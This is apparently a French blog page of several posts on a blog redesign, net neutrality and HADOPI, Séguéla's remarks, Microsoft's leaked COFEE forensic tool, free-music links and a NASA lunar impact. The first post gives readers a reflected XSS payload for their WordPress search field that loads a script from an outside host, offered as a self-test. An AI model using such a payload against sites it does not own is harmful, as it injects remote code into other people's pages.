Nouvelle peinture

Image 3Vous avez peut être remarqué que ce blog a subit un petit lifting,  c’est vrai qu’il n’était pas très beau, mais ce n’est pas la principale raison de son relooking. Le thème précédent présentait un joli trou de sécurité XSS qui m’a été signalé par Eric Seguinard de Sécuri-Toile… Et comme WordPress et moi (et le php en général) ça fait 4 je ne saurai vous dire à quel point je suis reconnaissant à Eric de m’avoir signalé ce trou. On ne le répétera jamais assez, la sécurité, c’est un process, ça prend du temps … et j’étais moi même passé à côté de ce trou à cause d’un navigateur un peu fâcho, bien que je scan régulièrement mes applis je me suis laissé berné par ce que me renvoyait mon navigateur. Donc plus qu’une nouvelle skin, je vous invite à découvrir Sécuri-Toile, le site d’Eric Seguinard et à vérifier votre propre thème WordPress en tentant d’injecter ceci dans votre champ de recherche (avec Firefox 3.x).

?s="><SCRIPT SRC=http://www.securi-toile.com/script.js></SCRIPT>"

J’ai encore pas mal de choses à tuner sur le nouveau thème mis en place ici, mais j’espère que vous y trouverez un meilleur confort de lecture que sur le précédent… en attendant d’avoir l’upload suffisant pour rapatrier ce blog sur mon serveur Hackbay hardené…

La table ronde Neutralité du Net à la Cantine devrait être streamée live

J’ai une bonne et une mauvaise nouvelle

streaming-net-neutrality-la-cantineLa bonne nouvelle est que vous allez, si tout se passe bien, pouvoir suivre en direct la table ronde qui se tiendra ce soir à la Cantine à partir de 20h30 sur la Neutralité des Réseaux (le système vidéo hard/soft est en Béta à la Cantine et les tests ont été réalisés cette après midi on croise donc les doigts pour que ça tienne, merci Ubicast).

Voici le lien du stream : http://lacantine.ubicast.eu/videos/live/lacantine/

La mauvaise nouvelle : c’est un player flash tout sale.

Lot de consolation : je compte récupérer la vidéo et la réencoder dans un format propre et vous la proposer en téléchargement le plus tôt possible.

Table ronde Net Neutrality à la Cantine : pourquoi est-ce nécessaire ?

Pour une poignée quasi négligeable d’internautes, les principes qui ont permis au réseau Internet d’être ce qu’il est aujourd’hui sont à peu prêt clairs. A en lire certaines réactions à l’annonce de la table NetNeutralityCantWaitronde qui se tiendra demain soir à la Cantine, quelques internautes semblent désabusés et s’interrogent sur le bien fondé de cette rencontre. pourtant, les raisons ne manquent pas et il serait mal venu de baisser les bras. Nous manquerions à notre devoir, les gens qui savent auront toujours plus de mal à expliquer à posteriori pourquoi ils n’ont pas réagis, je ne veux pas être de ceux là.

Je vais ici brièvement tenter de vous expliquer pourquoi il est souhaitable, non seulement que cette première table ronde ai lieu, mais également la nécessité que d’autres autour du même thème s’organisent, à la Cantine comme ailleurs.

  • Il y a 32 millions d’internautes en France (chiffres à fin 2008), environ 300 000 d’entre eux ont visionné les vidéos disponibles en ligne de Benjamin Bayart et ont donc une bonne première approche de la Net Neutrality. 300 000 sur 32 millions, ça ne fait même pas 1% .
  • Sur ces chiffres, vous vous dites que les professionnels du Net sont informés de ce qu’il pourrait advenir à leur business si le Net venait à être filtré par un moyen x ou y ? Et bien non, la majorité des Net entrepreneurs sont à des années lumières de connaître l’impact d’un dispositif de filtrage sur leur propre infrastructure. On sait par exemple que le SAAS pourrait en faire les frais
      • Combien de gens sont sensibilisés à ça ?
      • Quelle tête feront ils le jour où ceci sera pour eux une réalité ?
      • A qui devront ils s’adresser ?
      • Qui payera la facture ?
  • Si HADOPI a été une démonstration de déni de la réalité de la part du législateur, il faut se rappeler que LOPPSI ne s’annonce pas plus glorieuse en terme de consultation de la société civile et d’études d’impact préalables. Ce n’est donc pas la moment de se démobiliser. HADOPI est un combat d’arrière garde, le Paquet Télécom récemment adopté, l’ACTA, sont ceux d’aujourd’hui et mettent directement en péril cette neutralité. Il faut bien comprendre que c’est au niveau international que la mise en danger de l’Internet se joue, non au niveau national. Pour exemple, au niveau européen, la France continue de faire pression sur le Parlement afin de faire sauter l’obligation de recourir à un juge pour appliquer une sanction (oui la France a compris qu’en l’état, HADOPI est inapplicable, c’est bien pour cette raison que le texte a été durci et qu’HADOPI 3 le durcira encore plus, jusqu’à l’obligation de la mise en place de dispositifs de filtrage que la LOPPSI vise à officialiser. La décision de mise en place de ces dispositifs aux effets non mesurés et qui ont montré leurs limites partout où ils ont été essayés reposent sur des analyse fallacieuses, non publiques et dangereuses car elles n’impacteront pas qu’Internet).
  • Le filtrage sur les sites de jeux d’argent a pris tout le monde de court, là où nous attendions un filtrage des sites pédo-pornographiques, le gouvernement a jugé plus opportun de permettre à certains grands groupes bien connus de rapatrier leurs serveurs se trouvant à Maltes. A aucun moment ces personnes qui exercent encore à l’heure actuelle cette activité en toute illégalité ne seront inquiétées.
  • En parallèle des jeux d’argent, ce qui est déjà condamnable par la loi, comme l’incitation à la haine raciale n’est toujours pas ou très peu réprimé et on nous fait miroiter le filtrage comme une solution à tous les maux du Net. Évidemment, les moyens donnés à l’autorité judiciaire pour faire appliquer les lois en vigueur frisent le néant et tendent même à se réduire.
  • Pour qu’un filtrage et un traitement automatisé des communications soit efficace, encore faut il que ces communications passent en clair. En toute logique, on peut donc se demander si le prochain chantier du gouvernement ne va pas être de s’attaquer aux outils de chiffrement.
  • Les multiples « petits incidents » qui se font en ce moment légion comme l’éviction de Frédéric Lefèbvre de Twitter ou l’annonce farfelue de la mort d’un tel ou d’un tel sont autant d’arguments pour certaines personnes de relancer le débat sur la labellisation des sites web par une « autorité indépendante » dépendante directement du gouvernement (toujours par nominations) ou par le CSA, ce qui revient exactement au même.

Si vous mettez tous ces éléments bout à bout, vous obtenez une situation explosive qu’il convient d’exposer au grand public. La pédagogie est plus que nécessaire car on parle d’expliquer des choses complexes et qui auront un impact sur notre quotidien à tous. Vous direz quoi quand votre blog ne sera plus accessible depuis un réseau wifi public ou que Facebook aura viré les photo pourtant privées et partagées en famille de votre bébé un peu trop dénudé ?

En conclusion, si vous pensiez avoir tout vu avec HADOPI 2, sachez que vous êtes loin du compte que le pire est encore devant nous. Il me semble donc impératif de sensibiliser un vaste public afin que ce dernier prenne conscience des dangers de ces dérives totalitaristes. C’est en ce moment qu’il faut agir, le premier semestre 2010 va être particulièrement intense et c’est le moment pour tous de s’armer d’arguments pour offrir la trousse à outils décisionnelle nécessaire à nos députés. Je suis convaincu, qu’il existe de nombreuses alternatives au filtrage pour faire appliquer la loi, tout en respectant nos libertés individuelles et j’espère ne pas être le seul.

PS : nous essayons de trouver une solution afin d’enregistrer le débat de demain à la Cantine et de vous le rediffuser en téléchargement. Ce n’est pas une promesse mais nous étudions toutes les possibilités, si certains d’entre vous veulent / peuvent venir filmer et sont équipés pour, ils sont évidemment les bienvenus.

Jacques Séguéla milite activement pour la Net Neutrality … si, si je vous jure

Après avoir récemment déclaré sur Canal+ que « Le Net est la plus grande saloperie qu’aient jamais inventée les hommes ! » (Voir la vidéo), seguelaJacques Séguélat s’en prend maintenant à Google en appelant à son Boycott « y’a qu’à faire la grève de Google » .. et faisons carrément la grève d’Internet, bon allez à partir de demain, si vous cherchez une information, envoyez un fax à Jacques Séguéla !!

… Jacques Ségéla me fait mourir de rire, mais essayons de dépasser un peu l’aspect comique de la chose et considérons les faits : s’il cherchait à discréditer ses propres opinions, l’ « inventeur de la publicité » comme il aime à se qualifier en toute modestie, il ne pourrait pas mieux s’y prendre.

Le publicitaire s’insurge contre le fait que Google ai refusé de retirer de ses résultats de recherche des représentations graphiques un peu bébêtes représentant Michelle Obama, la femme du président américain, en guenon. Même si ces images sont d’un humour douteux, Google a joué le jeux de la neutralité en refusant de les retirer et en réaffirmant ainsi son rôle de transporteur de données et non de censeur. Tout ceci défrise notre ami Séguéla qui, à l’instar des quelques stars sur le retour, regrette cette époque où seule sa caste pouvait écrire et produire des contenus visibles d’un public… alors que lui, du public, il n’en a plus vraiment.

Force est de constater qu’avec ce genre d’âneries, Jacques Séguéla est le meilleur ambassadeur de la Net Neutrality que nous ayons en France après Benjamin Bayart … bon ok c’est un autre style, mais Jacques Séguéla avec ce type d’intervention va très vite faire comprendre à beaucoup de monde l’importance de préserver le Net de la bêtise et de l’e-gnorance de pseudos intellectuels en mal de reconnaissance dans un 21e siècle qu’ils ne comprennent plus… la censure d’un outil reconnu par le Conseil des Sages comme indispensable à l’exercice de la Liberté d’Expression … venant de Jacques Séguéla, c’est drôle mais en plus c’est super utile pour faire comprendre le concept de Neutralité du Net au grand public.

Si le concept de Neutralité du Net ne vous parle pas trop, n’oubliez pas que mardi prochain, le 1er décembre se tiendra à la Cantine une table ronde sur ce vaste sujet.

COFEE devient encombrant pour Microsoft

COFEE (Computer Online Forensic Evidence Extractor) est une suite logicielle compilée (peut être même réalisée, qui sait)  par Microsoft et destinée aux services judiciaires de 187 pays membres de l’organisation internationale des polices criminelles. MicrosoftUNSecurityEssentials5Ce tout petit bidule d’une quinzaine de méga se présentant sur une clef USB. C’est ce que l’on appelle dans le jargon de la sécurité un outil d’analyse Forensic, destiné à extraire des données d’un ordinateur (par exemple dans le cadre d’une perquisition judiciaire ou dans le cadre d’une enquête terrain). COFEE permet de récupérer des mots de passe, ou des informations montées en mémoire vive sur SaleOs (toutes versions). Le fait que le grand public sache qu’il existe est déjà en soi quelque chose d’un peu gênant pour pas mal de monde (à commencer par Microsoft qui ne va pas gagner des points privacy vis à vis de ses utilisateurs)… mais ce qui est beaucoup plus gênant, c’est de le voir se balader sur les réseaux de P2P, téléchargeable par tous.Et oui, si vous êtes utilisateurs de Windows, vos enfants, votre voisin, votre ex-femme, ont maintenant la capacité de violer allègrement votre vie privée (et en plus c’est franchement pas compliqué)… « Violer votre vie privée, c’était mon idée. »® vous aller aimer Windows Seven.

J’ai un peu les fesses entre deux chaises en vous parlant de ça. Premièrement, je ne comprends pas trop que Microsoft joue la vierge effarouchée à voir cet outil sur les réseaux P2P, on se doute bien qu’un éditeur logiciel propriétaire comme lui collabore avec les polices du monde à des fins de sécurité intérieure. Et d’un autre … comment vous dire … je suis mort de rire à l’idée que ce genre d’outil se retrouve sur le Net (il en existe pour tous les OS d’ailleurs, sauf que ces OS, on a le choix de les blinder ou pas. Les outils d’analyse forensic sont fréquemment des outils libres et open sources, en téléchargement libres, souvent des livecd pour admins sys et auditeurs sécurité. Cependant il faut savoir les utiliser et ce ne sont pas des clicodromes kikoololisés comme COFEE)

Pour arroser ça,  je vous convie tous à vous rendre demain, samedi 28 novembre à la Citée des Sciences de la Villette, à une UbuntuParty qui risque d’être inoubliable, ça se passe à partir de 11h et voilà le programme ultra chargé qui vous attend !

Vous y découvrirez Ubuntu GNU/Linux:

  • une disturibution,
  • une communauté,
  • la sécurité de vos données,
  • et le respect de votre privée …

Ah et au passage, juste pour le fun, voici une pub plus toute récente, qui n’est pas d’Ubuntu mais qui aurait bien pu l’être
… et n’oubliez pas … truth happens.

Toi aussi viens gazouiller avec FLefebvre_UMP !

Twitter est un social média cosy qui levrage ta SEOitude. Si vous t’en es pas convaincu, tu n’as qu’à demander à Frédéric Lefèbvre.

Sur internet il y a deux sortes d’internautes, d’un côté, on a les internautes qui cliquent, et de l’autre on a les internautes qui … cliquent … ouai mais pas pareil. Pour l’instant, on ne sait pas s’il s’agit d’une blague ou des cours de rattrapage ouèbedepoinzéro, mais il semblerait que Frédéric Lefèbvre ai trouvé la touche « any key » de son clavier t que cette dernière l’ai amenée direct sur Twitter ! Voyons l’aspect positif de la chose, Frédéric va peut être finir par comprendre de quoi il parle et devenir un peu moins e-gnare et ça c’est une bonne nouvelle. A mon sens Frédéric devrait essayer de convaincre son copain Brice d’aller gazouiller avec les pédonazis avant que ce dernier ne commette l’irréparable avec LOPPSI.

Du coup, de nombreux gazouillis sont venus lui souhaiter la bienvenue, dont certain très drôles. Il faut dire qu’il déchire en CSS le Frédéric, je pense que je vais porter le thème graphique de sa page sur mon blog tien !

HADOPI : Dés aujourd’hui je boycotte les industries culturelles, pas les artistes

Quelle est la meilleure manière de lutter contre HADOPI ? S’attaquer au portefeuille de ceux par qui elle est arrivée bien sur… En ce sens, j’ai décidé de boycotter totalement les industries culturelles :Image 7

  • Plus de sorties au cinéma ;
  • Plus d’écoute radio reversant des droits aux sociétés d’auteurs ;
  • Plus d’achat de disque, DVD ou livres (ou alors des œuvres dont on est assuré que l’intégralité de la somme ira dans les poches de l’auteur) ;
  • Plus de concert d’artistes endorsés par des majors ou des « pseudos » labels « indépendants » ;
  • Plus de téléchargement d’œuvres soumises à droit d’auteur et droits voisins ;
  • Résiliation des forfaits TV/Cinema/VOD etc proposés par les fournisseurs d’accès Internet.

C’est une occasion rêvée pour moi de parfaire ma culture libre et je vais d’ailleurs me servir de ce billet pour vous balancer mes découvertes. Je vais commencer par vous aiguiller sur quelques classiques et incontournables :

  • Dogmazic :des milliers de titres libres, dans tous les styles, beaucoup d’excellentes choses qui n’ont rien à envier à ce que l’on trouve dans le commerce.
  • Archives.org : des centaines de milliers de contenus audio et vidéo libres (plus de 420 000 titres audio !)
  • Oxyradio : De la musique libre en streaming
  • Boxson : Musique libre et gratuite en téléchargement
  • Jamendo : téléchargement de musique libre et gratuite
  • Prison Soup Record : un excellent label de musiques copyleft
  • Auboutdufil : téléchargement de musique libre et gratuite
  • Opsound : téléchargement de musiques libres et gratuites
  • Erreur404 : collectif proposant des musiques alternatives libres
  • Altermusique : téléchargement de musique libre et gratuite
  • Easyzik : de la musique en creative commons
  • CopyleftMusic : du bon son en copyleft
  • Airtist : pour écouter de la musique en rémunérant les artistes par la publicité
  • LastFM : c’est pas libre mais il y a beaucoup de bonnes choses en gratuit.
  • Dmusic : de la musique suédoise en libre téléchargement
  • Art Libre : des oeuvres (textes, musiques, videos, dessins, peintures …) sous licence art libre, véritable licence copyleft, permettant la diffusion , la modification …
  • In Libro Veritas : la littérature équitable

… et voilà pour la première tournée de links.

What’s next ?

Un billet qui sort un peu du cadre usuel de ce blog … je vais vous raconter ma vie. Je vous prierai de  bien vouloir me pardonner s’il vous parait cryptique pour le moment, il le sera beaucoup moins d’ici quelques semaines. Ces deux derniers mois ont été assez sportifs, d’un point de vue perso comme boulot, en plus de Toonux, qui subit un petit lifting, j’ai rejoint l’équipe des ours de Bearstech et je dois vous avouer que je n’en suis pas peu fier, je bosse avec des gens que j’admire. Malgré un emploi du temps bien chargé, mon engagement contre HADOPI ou le filtrage du Net n’ont pas faibli, loin de là.

J’étais récemment l’animateur d’une table ronde sur la Net Neutrality à l’Open World Forum qui réunissait Fabrice Epelboin (Read Write Web France), Jérémie Zimmermann (La Quadrature du Net) et  Philippe Langlois (OLPC et /tmp/lab). Un événement trop court qui nous a motivé à en reprogrammer un très bientôt, nous vous en communiquerons la date et le lieu d’ici peu.

J’ai également adhéré à l’ISOC, une association  internationale trop méconnue du grand public en France malgré l’engagement et le dynamisme de ses membres.

L’hacktivisme c’est aussi et avant tout une affaire de communautés … et niveau communautés, il y a eu du lourd récemment :

  • Un hackerspace se monte dans le 13e arrondissement de Paris, un projet que j’aimerai avoir plus de temps pour le suivre, il s’agit de la Suite Logique ;
  • La création d’un FabLab parisien est aussi en cours d’étude ;
  • J’ai enfin rencontré Manhack <3 d’un blog que vous connaissez sûrement, Bugbrother, aussi à l’origine avec sa bande de potes des Big Brother Arwards que j’avais découvert en 2001
  • Le grand retour de l’Apostrophe sur le Net, qui en collaboration avec Art Libre, lance une expo fort originale (on vous en reparlera très vite)
  • … et c’est comme ça tous les jours.

Tout ceci est génial allez vous me dire, oui ça l’est, mais il ne faut pas perdre de vue le point suivant : si cet écosystème est si riche en ce moment, c’est parce qu’il y a une menace sérieuse sur nos libertés numériques … et c’est là ce qui motive l’écriture même de ce billet.

Ce blog, tel que vous le connaissez est menacé par ce que j’aime à appeler l’E-gnorance. Il est menacé, comme vous tous qui l’avez commenté ou peut être tout simplement lu, une décision s’impose donc pour assurer sa continuité et votre liberté de le lire (ou pas). Mais comme j’ai toujours pêché par ma grande gueule et que c’est pas à 33 ans qu’on va me changer, j’ai décidé de prendre les devants (je crois que vous avez du mal à imaginer à quel point je m’autocensure et à quel point ça m’agace). Aussi, ce blog, pour vous, ne changera en rien, il subira quelques aménagements d’ordres techniques dont je vous ferai part le moment venu. Une petite recette qui pourra être utile, je l’espère, à d’autres qui comme moi n’ont pas spécialement envie de se laisser bâillonner passivement.

La suite très prochainement 😉

Le Net est la plus grande saloperie qu’aient jamais inventée les hommes !

Quand les intellectuels d’hier parlent du Net d’aujourd’hui, il y a bien plus qu’un gouffre spacio temporel qui se crée, c’est un peu comme un ‘inversement des pôles’. Après l’ami Finkielkraut, c’est au tour de Jacques Séguéla d’attaquer frontalement Internet, ça se passe vers la 8e minute de la vidéo ci dessous, après s’être modestement attribué l’invention de la publicité Jacques Séguela déclare « Le Net est la plus grande saloperie qu’aient jamais inventée les hommes ! C’est un dieu vivant ! Car Internet permet a tous les hommes de communiquer avec les autres hommes. En quelques secondes, le net peut détruire une réputation ! » …

PS : le pipot de Julien Dray vers la fin vaut le coup, j’ai failli écraser une larme.

La Nasa bombarde la lune pour trouver de l’eau

C’est actuellement diffusé en direct su le site web de la Nasa, l‘impact devrait avoir lieu vers 13h30, heure française.

nasaLa Nasa va bombarder la Lune à la recherche de molécules d’eau. Une recente découverte faisant état de probabilités importantes de trouver de l’eau sur Lune a poussé la Nasa à s’adonner (finesse américaine oblige) à un petit « bombardement » (bon ok avec deux modules lunaires) sur le pôle sud, juste comme ça, histoire de sonder la Lune pour la modique somme de 54 millions d’euros.

La Nasa a déballé les gros moyens et assure le direct en vidéo de cette opération en ce moment même.